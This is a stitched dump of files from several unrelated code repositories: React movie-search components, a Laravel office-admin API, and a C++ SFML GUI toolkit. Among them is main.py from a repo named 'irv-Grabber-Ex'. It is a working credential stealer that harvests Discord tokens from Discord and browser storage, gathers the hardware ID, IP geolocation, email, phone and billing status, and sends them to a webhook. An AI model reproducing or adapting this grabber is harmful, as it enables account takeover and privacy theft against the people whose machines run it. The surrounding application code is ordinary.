return (
<div
key={`${result["id"]}-${index}`}
className="movieResults_individual_results"
onClick={e => {
this.setMovieId(
result["id"],
result["title"],
result["genre_ids"].join(),
result["overview"],
result["release_date"],
result["vote_average"],
result["vote_count"],
this.props.images[index + this.props.limitNumber - 11],
e.pageY - 100
);
}}
>
<div className="movieResults_text_results">
<h3 className="movieResults_individual_titles">
{result["title"]}
</h3>
<p className="movieResults_individual_date">
<span>Year: </span>
{result["release_date"]}
</p>
<p className="movieResults_individual_genre_ids">
<span>Genre: </span>
{result["genre_ids"].map(items => {
return `${Object.keys(genreIds).filter(
(genres, index) => {
return genreIds[genres] === items;
}
)} `;
})}
</p>
</div>
<div className="movieResults_image_results">
<img
className="movieResults_individual_images"
src={
this.props.images[index + this.props.limitNumber - 11]
}
alt="Movie Poster"
/>
</div>
</div>
);
})}
{this.state.toggle === true ? (
<SingleMovieResult
movieData={this.state.movieData}
id={this.state.id}
title={this.state.Title}
poster={this.state.Poster}
genre={this.state.Genre}
overview={this.state.Overview}
mouseY={this.state.mouseY}
/>
) : null}
</div>
);
}
}
}
export default movieResults;
<file_sep>import React from "react";
import movieGenres from "../movieGenres.js";
const movieGenre = props => {
return (
<div className="movie_genre_container_plus_name">
<p className="movie_genre_name">Genre</p>
<div className="movie_genre_container">
{Object.keys(movieGenres).map((genre, index) => {
return (
<div className="movie_genre_genres" key={index}>
<input
onClick={props.handleCheckChange}
type="checkbox"
value={genre}
name={genre}
/>
<span className={genre}>{genre}</span>
</div>
);
})}
</div>
{props.errors.genre !== undefined ? (
<div className="movieGenre-errors">{props.errors.genre}</div>
) : null}
</div>
);
};
export default movieGenre;
<file_sep>import React from "react";
const movieReleaseYear = props => {
if (
!(props.movieResultsLength >= 12) &&
props.currentApiPage !== props.totalPages &&
props.startAndStopSearch !== 1
) {
return (
<div className="release_year_container">
<p className="release_year_name">Release Year</p>
<ul className="release_year-unactive">
{props.year === 0 ? (
<li className="release_year_active" value={0}>
No Range
</li>
) : (
<li value={0}>No Range</li>
)}
{props.year === 19 ? (
<li className="release_year_active" value={19}>
1900-1999
</li>
) : (
<li value={19}>1900-1999</li>
)}
{props.year === 20 ? (
<li className="release_year_active" value={20}>
2000-2099
</li>
) : (
<li value={20}>2000-2099</li>
)}
</ul>
</div>
);
} else {
return (
<div className="release_year_container">
<p className="release_year_name">Release Year</p>
<ul className="release_year-pointer">
{props.year === 0 ? (
<li
className="release_year_active"
onClick={props.handleReleaseYearChange}
value={0}
>
No Range
</li>
) : (
<li onClick={props.handleReleaseYearChange} value={0}>
No Range
</li>
)}
{props.year === 19 ? (
<li
className="release_year_active"
onClick={props.handleReleaseYearChange}
value={19}
>
1900-1999
</li>
) : (
<li onClick={props.handleReleaseYearChange} value={19}>
1900-1999
</li>
)}
{props.year === 20 ? (
<li
className="release_year_active"
onClick={props.handleReleaseYearChange}
value={20}
>
2000-2099
</li>
) : (
<li onClick={props.handleReleaseYearChange} value={20}>
2000-2099
</li>
)}
</ul>
</div>
);
}
};
export default movieReleaseYear;
<file_sep>import { combineReducers } from "redux";
import searchMoviesReducer from "./searchMoviesReducer.js";
import changeGenreReducer from "./changeGenreReducer.js";
import changeTitleReducer from "./changeTitleReducer.js";
import changeYearReducer from "./changeYearReducer.js";
import initialSearchReducer from "./initialSearchReducer.js";
import isCheckedReducer from "./isCheckedReducer.js";
export default combineReducers({
changeGenre: changeGenreReducer,
changeTitle: changeTitleReducer,
changeYear: changeYearReducer,
isChecked: isCheckedReducer,
searchMovies: searchMoviesReducer,
initialSearch: initialSearchReducer
});
<file_sep>import React from "react";
const websiteTitle = props => {
return (
<div className="websiteTitle_container">
<img
id="TMDB-logo"
src="https://www.themoviedb.org/assets/2/v4/logos/408x161-powered-by-rectangle-blue-10d3d41d2a0af9ebcb85f7fb62ffb6671c15ae8ea9bc82a2c6941f223143409e.png"
alt="TMDB logo"
width="160"
height="60"
/>
<h1>
<span className="websiteTitle_title">MoviesForEveryone</span>
</h1>
<h2 className="websiteTitle_quote">Find a movie you will love.</h2>
</div>
);
};
export default websiteTitle;
<file_sep>import {
ADD_GENRE,
DELETE_GENRE,
ADD_TEMP_GENRE,
DELETE_TEMP_GENRE,
ADD_PREVIOUS_STATE_GENRE,
USE_PREVIOUS_STATE_GENRE
} from "../actions/types.js";
const initialState = {
genre: [],
tempGenre: [],
previousState: []
};
export default function(state = initialState, action) {
switch (action.type) {
case ADD_GENRE:
return {
...state,
genre: Array.from(state.tempGenre)
};
case DELETE_GENRE:
return {
...state,
genre: Array.from(state.tempGenre)
};
case ADD_TEMP_GENRE:
return {
...state,
tempGenre: [...state.tempGenre, action.payload]
};
case DELETE_TEMP_GENRE:
return {
...state,
tempGenre: state.tempGenre.filter(item => item !== action.payload)
};
case ADD_PREVIOUS_STATE_GENRE:
return {
...state,
previousState: Array.from(state.genre)
};
case USE_PREVIOUS_STATE_GENRE:
return {
...state,
genre: state.previousState
};
default:
return state;
}
}
<file_sep>import { ADD_MOVIE_TITLE, ADD_TEMP_MOVIE_TITLE } from "../actions/types";
const initialState = {
title: "",
tempTitle: ""
};
export default function(state = initialState, action) {
switch (action.type) {
case ADD_MOVIE_TITLE:
return {
...state,
title: state.title.replace(state.title, action.payload)
};
case ADD_TEMP_MOVIE_TITLE:
return {
...state,
tempTitle: state.tempTitle.replace(state.tempTitle, action.payload)
};
default:
return state;
}
}
| bedeb5c2427105053b7b3b325ded21d1a56be44b | [
"JavaScript",
"Markdown"
] | 21 | JavaScript | sriding/MoviesForEveryone | 45939d43ae56b33a57b911578aa295bedd37401e | 8d6786f39d93818dd8fcde312086df9ade8f203a |
refs/heads/master | <repo_name>kingsleyudenewu/officeworks-admin<file_sep>/app/Http/Controllers/API/DepartmentController.php
<?php
namespace App\Http\Controllers\API;
use App\Employee;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Http\Resources\Department as DepartmentResource;
use App\Department;
use App\DepartmentSection;
use phpDocumentor\Reflection\Types\Integer;
class DepartmentController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
$departments = Department::with(['employees'])->latest()->get();
return DepartmentResource::collection($departments);
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$request->validate([
'department_name' => 'required|string|unique:departments,department_name|min:3',
'department_rules' => 'required|string'
]);
$department = new Department;
$department->department_name = $request->department_name;
$department->department_HOD = $request->department_HOD;
$department->department_rules = $request->department_rules;
$department->save();
return response()->json([
'success' => 'data was created'
], 200);
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$department = Department::with(['employees', 'sections'])->find($id);
return new DepartmentResource($department);
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$department = Department::find($id);
$request->validate([
'department_name' => 'required|string|min:3|unique:departments,department_name,'.$department->id,
'department_rules' => 'required'
]);
$department->update( $request->all());
return ['message' => 'Your data updated Successfully'];
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
$department = Department::find($id);
$department->delete();
return [ 'message' => 'Department was deleted'];
}
public function getHod($id){
$HOD = Employee::find($id);
return response()->json(["data" => $HOD], 200);
}
}
<file_sep>/database/migrations/2020_05_13_221115_create_incomes_table.php
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateIncomesTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('incomes', function (Blueprint $table) {
$table->bigIncrements('id');
$table->string('income_type');
$table->string('income_channel');
$table->string('income_source');
$table->string('description_for_cash')->nullable();
$table->string('description_for_bank')->nullable();
$table->integer('amount');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('incomes');
}
}
<file_sep>/app/Position.php
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Position extends Model
{
protected $fillable = [
'name', 'supposed_salary', 'job_description'
];
public function getSupposedSalaryAttribute($value)
{
return number_format($value);
}
public function employees()
{
return $this->hasMany(Employee::class);
}
}
<file_sep>/app/DepartmentSection.php
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class DepartmentSection extends Model
{
public function employees(){
return $this->hasMany(Employee::class);
}
public function department()
{
return $this->belongsTo('App\Department');
}
protected $fillable = [
'section_name', 'associated_dept', 'section_goal', 'reason_for_creation', 'department_id', 'sectional_head'
];
}
<file_sep>/app/Http/Resources/DepartmentSection.php
<?php
namespace App\Http\Resources;
use Illuminate\Http\Resources\Json\JsonResource;
use App\Http\Resources\Department as DepartmentResource;
class DepartmentSection extends JsonResource
{
/**
* Transform the resource into an array.
*
* @param \Illuminate\Http\Request $request
* @return array
*/
public function toArray($request)
{
return parent::toArray($request);
// return [
// 'id' => $this->id,
// 'section_name' => $this->section_name,
// 'department_id' => $this->department_id,
// 'associated_dept' => $this->associated_dept,
// 'section_goal' => $this->section_goal,
// 'section_strength' => $this->section_strength,
// 'sectional_head' => $this->sectional_head,
// 'reason_for_creation' => $this->reason_for_creation,
// ];
}
}
<file_sep>/routes/api.php
<?php
use Illuminate\Http\Request;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/
Route::middleware('auth:api')->get('/user', function (Request $request) {
return $request->user();
});
Route::apiResources([
'department-sections' => 'API\SectionController'
]);
Route::get('department-section/check-sec-head/{name}', 'API\SectionController@checkSectionHead');
// department route
Route::get('departments', 'API\DepartmentController@index' );
Route::get('department/get-hod/{id}', 'API\DepartmentController@getHod' );
Route::get('department/{param}', 'API\DepartmentController@show' );
Route::post('department', 'API\DepartmentController@store' );
Route::put('department/{id}', 'API\DepartmentController@update' );
Route::delete('department/{id}', 'API\DepartmentController@destroy' );
//employee routes
Route::get('employees', 'API\EmployeeController@index' );
Route::get('employees/without-head-title', 'API\EmployeeController@employeesWithOutTitle' );
Route::get('employee/{id}', 'API\EmployeeController@show');
Route::post('employee', 'API\EmployeeController@store');
Route::put('employee/{id}', 'API\EmployeeController@update');
Route::get('employee/with-dept/{id}', 'API\EmployeeController@getEmployeeDept');
Route::delete('employee/{id}', 'API\EmployeeController@destroy');
Route::get('employees/with-position', 'API\EmployeeController@getEmployee' );
Route::put('employee/assign-position/{id}', 'Api\EmployeeController@updateDepartmentAndPosition');
Route::put('employee/enable/{id}', 'Api\EmployeeController@enableEmployee');
Route::put('employee/disable/{id}', 'Api\EmployeeController@disableEmployee');
Route::delete('employee/admin-delete/{id}', 'API\EmployeeController@adminDelete');
//positions / rank routes
Route::get('positions', 'API\PositionController@index' );
Route::get('position/{id}', 'API\PositionController@show');
Route::post('position', 'API\PositionController@store');
Route::put('position/{id}', 'API\PositionController@update');
Route::put('position/assign/{id}', 'API\PositionController@updateEmployeePosition');
Route::delete('position/{id}', 'API\PositionController@destroy');
<file_sep>/app/Department.php
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Department extends Model
{
// protected $table = 'departments';
protected $with = ['sections'];
public function sections()
{
return $this->hasMany('App\DepartmentSection');
}
public function employees()
{
return $this->hasMany(Employee::class);
}
protected $fillable = [
'department_name', 'department_HOD', 'department_rules', 'department_sections'
];
}
<file_sep>/app/Http/Controllers/API/PositionController.php
<?php
namespace App\Http\Controllers\API;
use App\Http\Resources\PositionResource;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Position;
use Illuminate\Http\Resources\Json\ResourceCollection;
class PositionController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
$positions = Position::orderBy('created_at', 'desc')->paginate(10);
return PositionResource::collection($positions);
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$request->validate([
'name' => 'required|string|unique:positions,name|min:3',
'supposed_salary' => 'required',
'job_description' => 'required',
]);
Position::create([
'name' => $request['name'],
'supposed_salary' => $request['supposed_salary'],
'job_description' => $request['job_description'],
]);
return ['message' => 'Your data was submitted successfully'];
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$position = Position::find($id);
return new PositionResource($position);
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$position = Position::find($id);
$request->validate([
'name' => 'required|string|min:3|unique:positions,name,' . $position->id,
'supposed_salary' => 'required',
'job_description' => 'required | string',
]);
$position->update($request->all());
return ['message' => 'data updated successfully'];
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
$position = Position::find($id);
$position->delete();
return ['message' => 'Department was deleted'];
}
public function updateEmployeePosition(Request $request, $id)
{
$position = Position::where('id', $id)->limit(1);
$position->update([
'employee_id' => $request->employee_id,
]);
return response()->json(['message' => 'position updated successfully']);
}
}
<file_sep>/app/Http/Resources/Department.php
<?php
namespace App\Http\Resources;
use App\Http\Resources\DepartmentSection as SectionResource;
use Illuminate\Http\Resources\Json\JsonResource;
class Department extends JsonResource
{
/**
* Transform the resource into an array.
*
* @param \Illuminate\Http\Request $request
* @return array
*/
public function toArray($request)
{
return parent::toArray($request);
// return [
// 'id' => $this->id,
// 'department_name' => $this->department_name,
// 'department_HOD' => $this->department_HOD,
// 'department_strength' => $this->department_strength,
// 'department_rules' => $this->department_rules,
// 'sections' => SectionResource::collection($this->whenLoaded('sections')),
// 'created_at' => (string) $this->created_at,
// 'updated_at' => (string) $this->updated_at
// ];
}
}
<file_sep>/app/Http/Controllers/API/SectionController.php
<?php
namespace App\Http\Controllers\API;
use App\Department;
use App\DepartmentSection;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Http\Resources\DepartmentSection as SectionResource;
class SectionController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
$sections = DepartmentSection::latest()->with(['department', 'employees'])->get();
return ['data' => $sections];
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$request->validate([
'section_name' => 'required|string|unique:department_sections,section_name|min:3',
'section_goal' => 'required|string',
'department_id' => 'required',
'reason_for_creation' => 'string',
'sectional_head' => 'unique:department_sections,sectional_head'
]);
DepartmentSection::create([
'section_name' => $request['section_name'],
'section_goal' => $request['section_goal'],
'department_id' => $request['department_id'],
'reason_for_creation' => $request['reason_for_creation'],
'sectional_head' => $request['sectional_head']
]);
return ['message' => 'Your data was submitted successfully'];
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$section = DepartmentSection::with(['department', 'employees'])->find($id);
return ['data' => $section ];
}
public function checkSectionHead($name){
$sections = DepartmentSection::where('sectional_head', $name)->exists();
if($sections) {
return response()->json(['status' => 'true']);
//return ['message' => 'This employee is a sectonal head'];
}else{
return response()->json(['status' => 'false']);
//return ['message' => 'Employee is free, Remember to asign this Position to Employee to make it public'];
}
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$section = DepartmentSection::find($id);
$request->validate([
'section_name' => 'required|string|min:3|unique:department_sections,section_name,'.$section->id,
'section_goal' => 'required|string',
'department_id' => 'required',
'reason_for_creation' => 'string',
'sectional_head' => 'unique:department_sections,sectional_head'. $section->id
]);
$section->update($request->all());
return ['message' => 'data updated successfully'];
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
$section = DepartmentSection::find($id);
$section->delete();
return [ 'message' => 'Department was deleted'];
}
}
<file_sep>/app/Http/Controllers/API/EmployeeController.php
<?php
namespace App\Http\Controllers\API;
use App\Employee;
use App\Http\Resources\Department;
use App\Http\Resources\EmployeeResource;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
class EmployeeController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
$employees = Employee::latest()->with(['department', 'departmentSection','position'])->get();
if($employees){
return response()->json(['data' => $employees]);
}
}
public function employeesWithOutTitle(){
$employees = Employee::where('is_sectional_head', '=', 0)->where('is_hod','=', 0)->get();
return response()->json(['data' => $employees]);
}
public function getEmployee()
{
$employees = Employee::all();
return EmployeeResource::collection($employees);
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$employee = Employee::find($id);
return new EmployeeResource($employee);
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
//
}
public function getEmployeeDept($id){
$employees = Employee::where('department_id', $id)->get();
if($employees){
return response()->json(['data' => $employees]);
}
}
public function disableEmployee(Request $request, $id){
$employee = Employee::where('id', $id)->where('disable', 0)->limit(1);
$employee->update([
'disable' => $request['disable']
]);
return response()->json($employee);
}
public function enableEmployee(Request $request, $id){
$employeeEnable = Employee::where('id', $id)->where('disable', 1)->limit(1);
$employeeEnable->update([
'disable' => $request['enable']
]);
return response()->json($employeeEnable);
}
public function updateDepartmentAndPosition(Request $request, $id)
{
$employee = Employee::where('id', $id)->first();
$employee->update([
'department_id' => $request['department_id'],
'department_section_id' => $request['department_section_id'],
'position_id' => $request['position_id'],
]);
return response()->json($employee);
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
public function adminDelete($id)
{
$employee = Employee::find($id);
$employee->delete();
return [ 'message' => 'Employee was deleted by an Admin'];
}
}
<file_sep>/database/factories/EmployeeFactory.php
<?php
/** @var \Illuminate\Database\Eloquent\Factory $factory */
use App\Model;
use Faker\Generator as Faker;
$factory->define(App\Employee::class, function (Faker $faker) {
return [
'surname' => $faker->firstName,
'firstname' => $faker->firstName('male' | 'female'),
'lastname' => $faker->lastName,
'email' => $faker->email,
'age' => $faker->numberBetween(20, 45),
'password' => $<PASSWORD>,
'gender' => $faker->randomElement($array = array ('male', 'female')),
'address' => $faker->address,
'department' => $faker->text(25),
'staff_id' => $faker->uuid,
'disable' => $faker->boolean
];
});
<file_sep>/app/Employee.php
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Employee extends Model
{
protected $with = ['departmentSection', 'position', 'department'];
public function departmentSection()
{
return $this->belongsTo(DepartmentSection::class);
}
public function position()
{
return $this->belongsTo(Position::class);
}
public function department()
{
return $this->belongsTo(Department::class);
}
public function expenditure()
{
return $this->belongsTo(Expenditure::class);
}
protected $fillable = [
'surname', 'firstname', 'lastname', 'email',
'password', 'address', 'staff_id', 'gender',
'profile_pic', 'position', 'department_section_id',
'position_id', 'department_id',
];
}
| 299b570c556706deed4b2ddc972a62f49fbdfce5 | [
"PHP"
] | 13 | PHP | kingsleyudenewu/officeworks-admin | 7b31d896f2ac2663d5a28c35060db046e205ff5f | e503b509d5e7da0413ba2513f6917a31c7ca89a9 |
refs/heads/main | <repo_name>shielddd/irv-Grabber-Ex<file_sep>/README.md
# irv-Grabber-Ex<file_sep>/main.py
import os
if os.name != "nt":
exit()
from re import findall
import json
import platform as plt
from json import loads, dumps
from base64 import b64decode
from subprocess import Popen, PIPE
from urllib.request import Request, urlopen
from datetime import datetime
webhook_url = "<KEY>"
languages = {
'da' : 'Danish, Denmark',
'de' : 'German, Germany',
'en-GB' : 'English, United Kingdom',
'en-US' : 'English, United States',
'es-ES' : 'Spanish, Spain',
'fr' : 'French, France',
'hr' : 'Croatian, Croatia',
'lt' : 'Lithuanian, Lithuania',
'hu' : 'Hungarian, Hungary',
'nl' : 'Dutch, Netherlands',
'no' : 'Norwegian, Norway',
'pl' : 'Polish, Poland',
'pt-BR' : 'Portuguese, Brazilian, Brazil',
'ro' : 'Romanian, Romania',
'fi' : 'Finnish, Finland',
'sv-SE' : 'Swedish, Sweden',
'vi' : 'Vietnamese, Vietnam',
'tr' : 'Turkish, Turkey',
'cs' : 'Czech, Czechia, Czech Republic',
'el' : 'Greek, Greece',
'bg' : 'Bulgarian, Bulgaria',
'ru' : 'Russian, Russia',
'uk' : 'Ukranian, Ukraine',
'th' : 'Thai, Thailand',
'zh-CN' : 'Chinese, China',
'ja' : 'Japanese',
'zh-TW' : 'Chinese, Taiwan',
'ko' : 'Korean, Korea'
}
LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")
PATHS = {
"Discord" : ROAMING + "\\Discord",
"Discord Canary" : ROAMING + "\\discordcanary",
"Discord PTB" : ROAMING + "\\discordptb",
"Google Chrome" : LOCAL + r"\\Google\\Chrome\\User Data\\Default",
"Opera" : ROAMING + "\\Opera Software\\Opera Stable",
"Brave" : LOCAL + r"\\BraveSoftware\\Brave-Browser\\User Data\\Default",
"Yandex" : LOCAL + r"\\Yandex\\YandexBrowser\\User Data\\Default"
}
def getheaders(token=None, content_type="application/json"):
headers = {
"Content-Type": content_type,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
}
if token:
headers.update({"Authorization": token})
return headers
def getuserdata(token):
try:
return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
except:
pass
def gettokens(path):
path += "\\Local Storage\\leveldb"
tokens = []
for file_name in os.listdir(path):
if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
continue
for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
for token in findall(regex, line):
tokens.append(token)
return tokens
def gethwid():
p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]
def getip():
ip = org = loc = city = country = region = googlemap = "None"
try:
url = 'http://ipinfo.io/json'
response = urlopen(url)
data = json.load(response)
ip = data['ip']
org = data['org']
loc = data['loc']
city = data['city']
country = data['country']
region = data['region']
googlemap = "https://www.google.com/maps/search/google+map++" + loc
except:
pass
return ip,org,loc,city,country,region,googlemap
def getavatar(uid, aid):
url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif"
try:
urlopen(Request(url))
except:
url = url[:-4]
return url
def has_payment_methods(token):
try:
return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)
except:
pass
def main():
embeds = []
working = []
checked = []
already_cached_tokens = []
working_ids = []
computer_os = plt.platform()
ip,org,loc,city,country,region,googlemap = getip()
pc_username = os.getenv("UserName")
pc_name = os.getenv("COMPUTERNAME")
for platform, path in PATHS.items():
if not os.path.exists(path):
continue
for token in gettokens(path):
if token in checked:
continue
checked.append(token)
uid = None
if not token.startswith("mfa."):
try:
uid = b64decode(token.split(".")[0].encode()).decode()
except:
pass
if not uid or uid in working_ids:
continue
user_data = getuserdata(token)
if not user_data:
continue
working_ids.append(uid)
working.append(token)
username = user_data["username"] + "#" + str(user_data["discriminator"])
user_id = user_data["id"]
locale = user_data['locale']
avatar_id = user_data["avatar"]
avatar_url = getavatar(user_id, avatar_id)
email = user_data.get("email")
phone = user_data.get("phone")
verified = user_data['verified']
mfa_enabled = user_data['mfa_enabled']
flags = user_data['flags']
creation_date = datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime('%d-%m-%Y・%H:%M:%S')
language = languages.get(locale)
nitro = bool(user_data.get("premium_type"))
billing = bool(has_payment_methods(token))
embed = {
"color": 16507654,
"fields": [
{
"name": "**Account Info**",
"value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}',
"inline": True
},
{
"name": "**Pc Info**",
"value": f'OS: {computer_os}\nUsername: {pc_username}\nPc Name: {pc_name}\nHwid:\n{gethwid()}',
"inline": True
},
{
"name": "--------------------------------------------------------------------------------------------------",
"value":"-----------------------------------------------------------------------------------------------",
"inline": False
},
{
"name": "**IP**",
"value": f'IP: {ip}\nMap location: [{loc}]({googlemap})\nCity: {city}\nRegion: {region}\nOrg: {org}',
"inline": True
},
{
"name": "**Other Info**",
"value": f'Locale: {locale} ({language})\nToken Location: {platform}\nEmail Verified: {verified}\n2fa Enabled: {mfa_enabled}\nCreation Date: {creation_date}',
"inline": True
},
{
"name": "**Token**",
"value": f"`{token}`",
"inline": False
}
],
"author": {
"name": f"{username}・{user_id}",
"icon_url": avatar_url
},
"footer": {
"text": "Salut t grab"
}
}
embeds.append(embed)
if len(working) == 0:
working.append('123')
webhook = {
"content": "",
"embeds": embeds,
"username": "IRV Grabber",
"avatar_url": "https://cdn.discordapp.com/attachments/853347983639052318/857677082435649536/nedladdning_14.jpg"
}
try:
urlopen(Request(webhook_url, data=dumps(webhook).encode(), headers=getheaders()))
except:
pass
if __name__ == "__main__":
main()
| 5b2c6cbcf37cc0fd59f3bc3a7bfbbac0876769c2 | [
"Markdown",
"Python"
] | 2 | Markdown | shielddd/irv-Grabber-Ex | 8c4cb029528058574ac2afd69c5cf9a626e7b61e | 59069dc457f21a375901485521b856d2e9fb9e01 |
refs/heads/master | <file_sep>#include "MainForm.h"
void MainForm::InitializeForm()
{
//////////////////////////////////////////////////////////////////////////////////
//
/* Event - WaitEvent */
//SetWaitEvent(true);
//SetWaitTime(50);
/* Form - Properties */
SetTitle("This works");
//SetStyle(sf::Style::Default);
//SetPosition(sf::Vector2i(100, 100));
SetSize(sf::Vector2i(800, 600));
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
button1.SetPosition(sf::Vector2f(100, 400));
button1.SetSize(sf::Vector2f(100, 24));
button1.SetText("Close");
//button1.SetFontSize(16);
button1.SetFontSize(12);
button1.SetWindow(&window);
button1.Setup();
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
button2.SetPosition(sf::Vector2f(210, 400));
button2.SetSize(sf::Vector2f(100, 24));
button2.SetText("Cancel");
button2.SetFontSize(12);
button2.SetWindow(&window);
button2.Setup();
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
label1.SetWindow(&window);
label1.Setup();
label1.SetText("This is a label");
label1.SetPosition(sf::Vector2f(200, 200));
//
//////////////////////////////////////////////////////////////////////////////////
}
void MainForm::OnEvent(sf::Event &event)
{
button1.CheckEvents(event);
if (button1.buttonEvent == Button::ButtonEvent::OnClick)
Button1_OnClick();
button2.CheckEvents(event);
if (button2.buttonEvent == Button::ButtonEvent::OnClick)
Button2_OnClick();
}
void MainForm::OnDraw()
{
button1.Draw();
button2.Draw();
label1.Draw();
}
<file_sep>#pragma once
#include <SFML/Graphics.hpp>
#include "UIBase.h"
class DesignHandler : public UIBase
{
public:
void Setup(sf::Vector2f startPos, sf::Vector2f controlSizeInGrids);
void Draw();
void SetPosition(sf::Vector2f position);
void SetSize(sf::Vector2f size);
void SetVisible(bool visible) { this->visible = visible; };
//bool GetVisible() { return visible; };
private:
sf::RectangleShape box[8];
sf::Vector2f originalPosition[8];
bool visible = true;
};
<file_sep>#include "Tuna.h"
void Tuna::Run(Form* form)
{
form->Run();
}
<file_sep>#include "Tuna.h"
#include "MainForm.h"
int main(int argc, char *arv[])
{
MainForm mainForm;
Tuna tuna;
tuna.Run(&mainForm);
return 0;
}
<file_sep>#pragma once
#include "Form.h"
class Tuna
{
public:
void Run(Form* form);
private:
};
<file_sep>#pragma once
#include <SFML/Graphics.hpp>
#include "UIBase.h"
class Label : public UIBase
{
public:
//Label(sf::RenderWindow &window);
//virtual ~Label();
void Setup();
void Draw();
//void SetText(std::string text);
sf::Text* GetSFText() { return &text; };
void SetPosition(sf::Vector2f position);
private:
sf::Font font;
//sf::Text text;
/* Text */
public:
void SetText(std::string text);
std::string GetText();
private:
sf::Text text;
};
<file_sep>#include "MainForm.h"
void MainForm::OnLoad()
{
}
void MainForm::OnMouseMove()
{
if (moveButton4)
{
float mx = (float)sf::Mouse::getPosition().x - this->window.getPosition().x;
float my = (float)sf::Mouse::getPosition().y - this->window.getPosition().y;
float cx = mx - button4.GetSize().x / 2;
float cy = my - button4.GetSize().y / 2;
float dx = (float)((int)cx / 8) * 8 + 1;
float dy = (float)((int)cy / 8) * 8 + 1 - 2 - 24;
//
// Check if button control is within the design form
//
if (mx < (formX + button4.GetSize().x / 2)) // Left side of form
return;
if (mx > (formX + formW - button4.GetSize().x/2 + 8)) // Right side of form
return;
if (my < (formY + button4.GetSize().y + 16)) // Top side of form
return;
if (my >(formY + formH + button4.GetSize().y)) // Bottom side of form
return;
// Change postion of our button control
button4.SetPosition(sf::Vector2f(dx, dy));
designHandler1.SetPosition(sf::Vector2f(dx, dy));
}
}
void MainForm::OnMousePressed()
{
designHandler1.SetVisible(false);
designHandler2.SetVisible(true);
}
void MainForm::Button1_OnClick()
{
ApplicationExit();
}
void MainForm::Button2_OnClick()
{
//ApplicationExit();
}
void MainForm::Button3_OnClick()
{
//ApplicationExit();
}
void MainForm::Button4_OnClick()
{
